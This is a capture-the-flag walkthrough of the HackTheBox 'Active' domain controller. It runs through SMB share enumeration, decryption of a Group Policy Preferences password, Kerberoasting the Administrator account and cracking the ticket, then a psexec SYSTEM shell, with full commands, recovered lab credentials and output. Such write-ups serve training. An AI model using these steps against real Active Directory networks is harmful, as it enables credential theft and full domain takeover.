Active
Today I am going to solve Active box on HackTheBox to prepare myself for the OSCP certificate.

Enumeration:
First we will start with nmap
scan to identify what ports are open on the target machine:
┌──(kali㉿kali)-[~/…/CTF/Machines/HackTheBox/Active]
└─$ sudo nmap -sCV -p- --min-rate 1000 -vv 10.129.109.218 -oN nmap/services.nmap
Nmap scan report for 10.129.109.218
Host is up, received echo-reply ttl 127 (0.29s latency).
Scanned at 2025-09-01 10:51:55 EDT for 153s
Not shown: 65512 closed tcp ports (reset)
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack ttl 127 Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid:
|_ bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2025-09-01 14:53:15Z)
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
445/tcp open microsoft-ds? syn-ack ttl 127
464/tcp open kpasswd5? syn-ack ttl 127
593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped syn-ack ttl 127
3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped syn-ack ttl 127
5722/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
9389/tcp open mc-nmf syn-ack ttl 127 .NET Message Framing
<snipped>
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows
<snipped>
To illustrate Nmap options I used:
-sCV: Use nmap default scripts, and scan service versions.
-p-: Scan all TCP ports.
--min-rate: Increase number of packets sent per second.
-vv: Increase verbosity level.
-oN: Output the result to a file.
We can see that we are dealing with an active directory domain controller, and its called DC, and we have multiple ports open, dns on port 53, kerberos on port 88, smb on port 445, ldap on ports (389,636,3268,3269).
I will add the domain: active.htb and the hostname of the target machine DC to the hosts file:
┌──(kali㉿kali)-[~/…/CTF/Machines/HackTheBox/Active]
└─$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 kali
<snipped>
10.129.109.218 DC.active.htb active.htb DC
GPP Password Abuse:
Lets enumerate the shares using netexec
and will check if we have null session access:
┌──(kali㉿kali)-[~/…/CTF/Machines/HackTheBox/Active]
└─$ netexec smb 10.129.109.218 -u '' -p '' --shares
SMB 10.129.109.218 445 DC [*] Windows 7 / Server 2008 R2 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True) (SMBv1:False)
SMB 10.129.109.218 445 DC [+] active.htb\:
SMB 10.129.109.218 445 DC [*] Enumerated shares
SMB 10.129.109.218 445 DC Share Permissions Remark
SMB 10.129.109.218 445 DC ----- ----------- ------
SMB 10.129.109.218 445 DC ADMIN$ Remote Admin
SMB 10.129.109.218 445 DC C$ Default share
SMB 10.129.109.218 445 DC IPC$ Remote IPC
SMB 10.129.109.218 445 DC NETLOGON Logon server share
SMB 10.129.109.218 445 DC Replication READ
SMB 10.129.109.218 445 DC SYSVOL Logon server share
SMB 10.129.109.218 445 DC Users
-u: To specify a username.
-p: To specify a password.
--shares: To list out the shares.
We can see that we have read permissions over the Replication share, and via smbclient
we can authenticate to that share to view what it contains:
┌──(kali㉿kali)-[~/…/CTF/Machines/HackTheBox/Active]
└─$ smbclient //active.htb/replication
Password for [WORKGROUP\kali]:
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> recurse on
smb: \> prompt off
smb: \> mget *
<snippped>
getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml of size 533 as active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups/Groups.xml (0.7 KiloBytes/sec) (average 1.0 KiloBytes/sec)
<snipped>
smb: \> exit
So we have the group policy preference file (Groups.xml) which normally contains a username and an encrypted password that we can easly decrypt it using variaus tools, and I will use gpp-decrypt
to decrypt it:
┌──(kali㉿kali)-[~/…/CTF/Machines/HackTheBox/Active]
└─$ cat active.htb/Policies/\{31B2F340-016D-11D2-945F-00C04FB984F9\}/MACHINE/Preferences/Groups/Groups.xml
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="active.htb\SVC_TGS" image="2" changed="2018-07-18 20:46:06" uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}"><Properties action="U" newName="" fullName="" description="" cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0" userName="active.htb\SVC_TGS"/></User>
</Groups>
Here we can notice a domain user called SVC_TGS user, and cpassword which has encrypted password that we will pass it to gpp-decrypt tool:
┌──(kali㉿kali)-[~/…/CTF/Machines/HackTheBox/Active]
└─$ gpp-decrypt "edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ"
GPPstillStandingStrong2k18
So we have a username and a password, lets check if those credentials are valid using netexec:
┌──(kali㉿kali)-[~/…/CTF/Machines/HackTheBox/Active]
└─$ netexec smb 10.129.109.218 -u svc_tgs -p GPPstillStandingStrong2k18
SMB 10.129.109.218 445 DC [*] Windows 7 / Server 2008 R2 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True) (SMBv1:False)
SMB 10.129.109.218 445 DC [+] active.htb\svc_tgs:GPPstillStandingStrong2k18
That + sign indicate that this is a valid domain user.
Privilege Escalation to Administrator:
Now since we have a valid domain user, we can use bloodhound to find any path that could help us compromise the whole environment.
BloodHound:
I will use rusthound-ce as the ingestor:
┌──(kali㉿kali)-[~/…/CTF/Machines/HackTheBox/Active]
└─$ rusthound-ce -u 'svc_tgs' -p 'GPPstillStandingStrong2k18' -d active.htb -f DC.active.htb 12:05:03 [2/4]
---------------------------------------------------
Initializing RustHound-CE at 12:04:54 on 09/01/25
Powered by @g0h4n_0
---------------------------------------------------
[2025-09-01T16:04:54Z INFO rusthound_ce] Verbosity level: Info
[2025-09-01T16:04:54Z INFO rusthound_ce] Collection method: All
[2025-09-01T16:04:55Z INFO rusthound_ce::ldap] Connected to ACTIVE.HTB Active Directory!
[2025-09-01T16:04:55Z INFO rusthound_ce::ldap] Starting data collection...
[2025-09-01T16:04:55Z INFO rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2025-09-01T16:04:58Z INFO rusthound_ce::ldap] All data collected for NamingContext DC=active,DC=htb
[2025-09-01T16:04:58Z INFO rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2025-09-01T16:05:00Z INFO rusthound_ce::ldap] All data collected for NamingContext CN=Configuration,DC=active,DC=htb
[2025-09-01T16:05:00Z INFO rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2025-09-01T16:05:02Z INFO rusthound_ce::ldap] All data collected for NamingContext CN=Schema,CN=Configuration,DC=active,DC=htb
[2025-09-01T16:05:02Z INFO rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2025-09-01T16:05:02Z INFO rusthound_ce::ldap] All data collected for NamingContext DC=DomainDnsZones,DC=active,DC=htb
[2025-09-01T16:05:02Z INFO rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2025-09-01T16:05:03Z INFO rusthound_ce::ldap] All data collected for NamingContext DC=ForestDnsZones,DC=active,DC=htb
[2025-09-01T16:05:03Z INFO rusthound_ce::api] Starting the LDAP objects parsing...
[2025-09-01T16:05:03Z INFO rusthound_ce::objects::domain] MachineAccountQuota: 10
[2025-09-01T16:05:03Z INFO rusthound_ce::api] Parsing LDAP objects finished!
[2025-09-01T16:05:03Z INFO rusthound_ce::json::checker] Starting checker to replace some values...
[2025-09-01T16:05:03Z INFO rusthound_ce::json::checker] Checking and replacing some values finished!
[2025-09-01T16:05:03Z INFO rusthound_ce::json::maker::common] 5 users parsed!
[2025-09-01T16:05:03Z INFO rusthound_ce::json::maker::common] .//20250901120503_active-htb_users.json created!
[2025-09-01T16:05:03Z INFO rusthound_ce::json::maker::common] 49 groups parsed!
[2025-09-01T16:05:03Z INFO rusthound_ce::json::maker::common] .//20250901120503_active-htb_groups.json created!
[2025-09-01T16:05:03Z INFO rusthound_ce::json::maker::common] 1 computers parsed!
[2025-09-01T16:05:03Z INFO rusthound_ce::json::maker::common] .//20250901120503_active-htb_computers.json created!
[2025-09-01T16:05:03Z INFO rusthound_ce::json::maker::common] 1 ous parsed!
[2025-09-01T16:05:03Z INFO rusthound_ce::json::maker::common] .//20250901120503_active-htb_ous.json created!
[2025-09-01T16:05:03Z INFO rusthound_ce::json::maker::common] 3 domains parsed!
[2025-09-01T16:05:03Z INFO rusthound_ce::json::maker::common] .//20250901120503_active-htb_domains.json created!
[2025-09-01T16:05:03Z INFO rusthound_ce::json::maker::common] 2 gpos parsed!
[2025-09-01T16:05:03Z INFO rusthound_ce::json::maker::common] .//20250901120503_active-htb_gpos.json created!
[2025-09-01T16:05:03Z INFO rusthound_ce::json::maker::common] 67 containers parsed!
[2025-09-01T16:05:03Z INFO rusthound_ce::json::maker::common] .//20250901120503_active-htb_containers.json created!
RustHound-CE Enumeration Completed at 12:05:03 on 09/01/25! Happy Graphing!
Now lets open bloodhound-ce:
┌──(kali㉿kali)-[~/…/CTF/Machines/HackTheBox/Active]
└─$ sudo bloodhound
[sudo] password for kali:
Starting neo4j
Neo4j is not running.
Directories in use:
home: /usr/share/neo4j
config: /usr/share/neo4j/conf
logs: /etc/neo4j/logs
plugins: /usr/share/neo4j/plugins
import: /usr/share/neo4j/import
data: /etc/neo4j/data
certificates: /usr/share/neo4j/certificates
licenses: /usr/share/neo4j/licenses
run: /var/lib/neo4j/run
Starting Neo4j.
Started neo4j (pid:54595). It is available at http://localhost:7474
There may be a short delay until the server is ready.
......................................................
Bloodhound will start

I will navigate to file ingest page, and ingest the data rusthound collected:


Kerberoasting:
If we checked kerberoastable users we will find that the administrator is kerberoastable:

Using impacket-GetUserSPNs
lets get the administrator TGS:
┌──(kali㉿kali)-[~/…/CTF/Machines/HackTheBox/Active]
└─$ impacket-GetUserSPNs -dc-ip 10.129.109.218 active.htb/svc_tgs:GPPstillStandingStrong2k18 -request-user administrator
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
-------------------- ------------- -------------------------------------------------------- -------------------------- -------------------------- ----------
active/CIFS:445 Administrator CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb 2018-07-18 15:06:40.351723 2025-09-01 10:28:00.613750
[-] CCache file is not found. Skipping...
$krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$c7c1db9ab6dc34c3a0a01009af9a0bb1$1d6fab1eb00eb3304836b8716ee49a66707a4b0c3ae98cb8b6f1a0abfd55059650ad2d221868748c968000704cbd3fff1f12b669c9eee24e48690817f73d719bfea8294ae009d873d2809963f147866fd8fb684e12c11b4e557020daae1dcb20808b463ec271c98718ccaeedc961b7dfbf52eb0c15f1b2e6472374bc018c3be6c29cbf0ff719ccca015bfb8c407231d0fb68ab22ec102fe08c3b91f5fc6a98762d89c5737dd53f548398cf29779f643ab5b1e5ca6bb70f130503a36115052ac9b9816a47fd980e282b7e6c754c3752438947d6e639488a3fa5ebce79824bb936653601a59b6c0008fef272952c6a0f17a4b7eb278388260b6af0a736b9a845b5d81568a86a5d3583c2f6c893de92917aa6927dcd95fe6d7d0216e83794cc56b2d8ce618b91f03d141d5dd229fc0a739c34798bccae6e36cad91ac303e955f8d759e5f3f6fee8a6463868b84ee12f82de73a7f6f7c53a5f0fcd0d7fe05e3f3a6a5b90709d5aebc3c57d023d658e63c259a1706a0bca1523dc53fe3b8e01c2f09521c5ad3f268a6c06b720ba62613867bc981bdbaf3411c6f9d7a6501e4bdcf055c5ec9a27053eaa211e52b22ba5d72840c7b2bcfbdd2737b02fde1f6065433c4dbb591ba360ffd58b95178a12b2232d06ebc7fe3c8df65bf8b2a178fa1b89faabac7fe2e97cbae74c59312c7fb8c6a5b829a20cffa244b34f8f42ef5b62f637b9d71e222f16e1a00f621f05c7d12d84ba97b755503436899f565bcdf7262016d2a918ff334d6e6497b981f4ad3799d5eccaadeb8931df048ee29b1127d8b1d13fb5e85ec13a7e0c793c3f6744d0f211f0019e256df012c65e5962ae3cb07a2f29182720447ba60abccdae5c39de8ca4c9c538aa6c3a5d5866f35b22e13813b3c5829dc6e379405f415433c50349fb129a72ea0d98e0ab464c3a8b0d4a3ef56678e6c6f97126e2b4cd2c2bef1eefca504cfe7c9f999e8d8360419bbd4d5dcef6ffc69d1e433894f54c0a2380d7a913411846f2192efaf59867a60f231706ae29a31c970d441b2a534cfce0f23d77feca50621bb260397fcd0273bd470da6999a8f050945c1789a399ae60da5891f29d698446e923411a2024297eb0f7ddf26521d4abeaf7d721530a4f000bd25a38a6fb41b3e960d75013e9bc779ea4a97cfe4457911f904c3626fbe53ef83327f29b4b939e5df7b885b58e9b5a940b990f685887e05253d8ebf5d1acb0cf1ecd23c509f9856b48fc5dfe1a1be53
We will save it to a file and attempt to crack it via hashcat
:
┌──(kali㉿kali)-[~/…/CTF/Machines/HackTheBox/Active]
└─$ hashcat administrator.hash /usr/share/wordlists/rockyou.txt

We were able to crack the administrator TGS ticket and recover the password.
If we checked netexec
with those credentials:
┌──(kali㉿kali)-[~/…/CTF/Machines/HackTheBox/Active]
└─$ netexec smb 10.129.109.218 -u administrator -p Ticketmaster1968
SMB 10.129.109.218 445 DC [*] Windows 7 / Server 2008 R2 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True) (SMBv1:False)
SMB 10.129.109.218 445 DC [+] active.htb\administrator:Ticketmaster1968 (Pwn3d!)
We will see the Pwn3d! which means we are domain admins, lets use impacket-psexec
to authenticate to the target machine:
┌──(kali㉿kali)-[~/…/CTF/Machines/HackTheBox/Active]
└─$ impacket-psexec active.htb/administrator:Ticketmaster1968@dc.active.htb
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Requesting shares on dc.active.htb.....
[*] Found writable share ADMIN$
[*] Uploading file IWKkxNEt.exe
[*] Opening SVCManager on dc.active.htb.....
[*] Creating service aNNp on dc.active.htb.....
[*] Starting service aNNp.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami
nt authority\system
C:\Windows\system32> hostname
DC
C:\Windows\system32> ipconfig
Windows IP Configuration
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix . : .htb
IPv6 Address. . . . . . . . . . . : dead:beef::9868:c766:ba72:6acf
Link-local IPv6 Address . . . . . : fe80::9868:c766:ba72:6acf%11
IPv4 Address. . . . . . . . . . . : 10.129.109.218
Subnet Mask . . . . . . . . . . . : 255.255.0.0
Default Gateway . . . . . . . . . : fe80::250:56ff:feb9:f8ec%11
10.129.0.1
Tunnel adapter isatap..htb:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . : .htb
And we can read the flags:
PS C:\Windows\System32> cat C:\Users\svc_tgs\Desktop\user.txt
b54499b9ab3855a9****************
PS C:\Windows\System32> cat C:\Users\administrator\Desktop\root.txt
3de721739719dece****************
Last updated